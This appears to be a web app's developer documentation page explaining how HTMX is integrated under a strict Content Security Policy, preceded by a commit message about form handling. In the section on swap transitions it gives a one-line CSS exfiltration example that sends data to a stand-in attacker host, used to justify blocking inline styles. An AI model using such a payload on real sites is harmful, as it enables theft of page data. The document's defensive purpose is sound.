Every form on both surfaces is now a declared FormSpec in internal/forms, rendered through the shared form part and parsed by its handler through the same declaration. Create and edit share one field list, refusals answer 422 with values carried back, and layout, buttons and errors come from one part. Also adds the form registry with its invariant and route-mapping tests, the raw-form, filler-copy and Go em-dash lint rules, declared action triggers, and the capture-coverage cross-check. The forms-library change is archived under openspec/changes/archive/2026-09-05-forms-library.
95 lines
5.2 KiB
Markdown
95 lines
5.2 KiB
Markdown
---
|
|
title: "HTMX Setup"
|
|
audience: [developer]
|
|
summary: "How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials."
|
|
---
|
|
|
|
# HTMX Setup
|
|
|
|
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
|
|
|
|
## Overview
|
|
|
|
The member-console uses [HTMX](https://htmx.org/) for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the **HTMX partial pattern**: the server renders HTML fragments that HTMX swaps into the DOM.
|
|
|
|
### Version
|
|
|
|
HTMX is vendored as a static asset at `internal/embeds/static/htmx.min.js` (currently v4.0.0; upgraded from v2.0.4 in 10k.3). The migration is complete: no `htmx-2-compat` shim, no `implicitInheritance` flag, and lint fails htmx 2 residue (`hx-disinherit`, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark `hx-boost:inherited` and the CSRF `hx-headers:inherited`; everything else declares its own attributes (see `design-system.md` §7).
|
|
|
|
### Loading
|
|
|
|
HTMX is loaded via a `<script defer>` tag in the page templates (`operator.html`, `index.html`, `products.html`, `billing.html`). The `defer` attribute ensures it loads after the DOM is parsed.
|
|
|
|
## CSP Configuration
|
|
|
|
The CSP is defined in `internal/middleware/security.go` and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
|
|
|
|
### Relevant CSP Directives
|
|
|
|
```
|
|
script-src 'self' https://unpkg.com/htmx.org@*
|
|
style-src 'self'
|
|
```
|
|
|
|
- **`script-src`**: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
|
|
- **`style-src`**: Only allows styles from external `.css` files served by our origin. Inline `<style>` tags and `element.style.*` assignments are blocked.
|
|
|
|
### Why No `'unsafe-inline'`
|
|
|
|
Adding `'unsafe-inline'` to `script-src` would defeat most XSS protection. For `style-src`, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
|
|
|
|
## HTMX + CSP Interaction
|
|
|
|
HTMX has two behaviors that conflict with a strict `style-src 'self'` policy:
|
|
|
|
### 1. Indicator Styles (Solved)
|
|
|
|
htmx 4 delivers its default `.htmx-indicator` CSS through Constructable Stylesheets rather than an injected inline `<style>` tag (which is what used to violate `style-src 'self'` in htmx 2). We still disable it so `app.css` remains the single source of indicator styling:
|
|
|
|
```html
|
|
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
|
|
```
|
|
|
|
(The `noSwap` list is the error-response swap contract; see `design-system.md` §7.)
|
|
|
|
The equivalent indicator styles are provided in `internal/embeds/static/app.css`:
|
|
|
|
```css
|
|
.htmx-indicator { display: none; }
|
|
.htmx-request .htmx-indicator { display: inline-block; }
|
|
.htmx-request.htmx-indicator { display: inline-block; }
|
|
```
|
|
|
|
This gives us full control over indicator styling without any CSP violation.
|
|
|
|
### 2. Swap Transitions (Accepted)
|
|
|
|
htmx 4 animates swaps through the View Transitions API, which is disabled by default (`htmx.config.transitions = false`) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.
|
|
|
|
**Why not `'unsafe-inline'` for styles?** While less risky than `'unsafe-inline'` on `script-src`, it still enables CSS-based exfiltration (e.g., `background: url(attacker.com/steal?data=...)`). Nothing in the current setup needs it.
|
|
|
|
## External JavaScript
|
|
|
|
All JavaScript must be in external `.js` files under `internal/embeds/static/` to comply with CSP. Never add inline `<script>` tags to templates — they will be silently blocked.
|
|
|
|
Current external scripts (a representative sample, not exhaustive; see `internal/embeds/static/`):
|
|
- `error-handler.js` — HTMX error handling and toast notifications
|
|
- `confirm-action-modal.js` — the shared confirm dialog every destructive action opens through (`docs/design-system.md` "Confirm modal")
|
|
|
|
When adding new interactive behavior to HTMX partials, follow this pattern:
|
|
1. Create a new `.js` file in `internal/embeds/static/`
|
|
2. Add a `<script defer>` tag to the relevant page template
|
|
3. If the script manipulates elements inside HTMX partials, listen for `htmx:after:swap` (or use `htmx.onLoad`) to re-initialize after swaps; htmx 4 event names are colon-separated (`htmx:phase:action`)
|
|
|
|
## Static Asset Authentication
|
|
|
|
Static assets under `/static/` are exempted from authentication middleware (`internal/auth/auth.go`). This is necessary because:
|
|
|
|
- Static assets are public resources (CSS, JS, images, icons)
|
|
- Some browser fetches (e.g., `<link rel="manifest">`) use CORS mode with `credentials: 'omit'`, meaning session cookies are not sent
|
|
- Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
|
|
|
|
## External CSS
|
|
|
|
All custom styles are in `internal/embeds/static/app.css`. This file consolidates styles that were previously inline `<style>` blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.
|